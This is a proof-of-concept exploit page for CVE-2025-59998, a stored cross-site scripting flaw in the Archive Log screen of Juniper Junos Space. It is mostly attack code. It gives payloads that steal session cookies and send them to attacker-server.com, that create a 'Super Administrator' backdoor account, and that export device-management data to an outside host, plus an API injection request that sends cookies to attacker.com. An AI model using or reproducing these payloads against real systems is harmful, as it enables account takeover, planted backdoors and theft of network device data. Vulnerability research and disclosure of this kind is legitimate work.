CVE-2025-59998：Juniper Junos Space 归档日志界面存储型XSS漏洞

<!-- CVE-2025-59998 - Juniper Junos Space Archive Log Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in the Archive Log screen --> <!-- Step 1: Inject malicious payload into the Archive Log via Junos Space UI or API --> <!-- The payload below will be stored in the archive log and executed when viewed --> <script> // Steal session cookie and send to attacker-controlled server var cookie = document.cookie; var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); </script> <!-- Alternative payload: Perform administrative actions via the victim's session --> <script> // Example: Create a new admin account fetch('/api/space/user-management/local-users', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'attacker_backdoor', password: 'P@ssw0rd123!', role: 'Super Administrator' }) }); </script> <!-- Alternative payload: Exfiltrate sensitive configuration data --> <script> fetch('/api/space/device-management/devices') .then(r => r.json()) .then(data => { fetch('http://attacker-server.com/exfil', { method: 'POST', body: JSON.stringify(data) }); }); </script> <!-- Injection vector: Submit via Archive Log input field --> <!-- POST request example to inject via API --> <!-- POST /api/space/archive-log HTTP/1.1 Host: <juniper-space-host> Content-Type: application/json { "logEntry": "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" } -->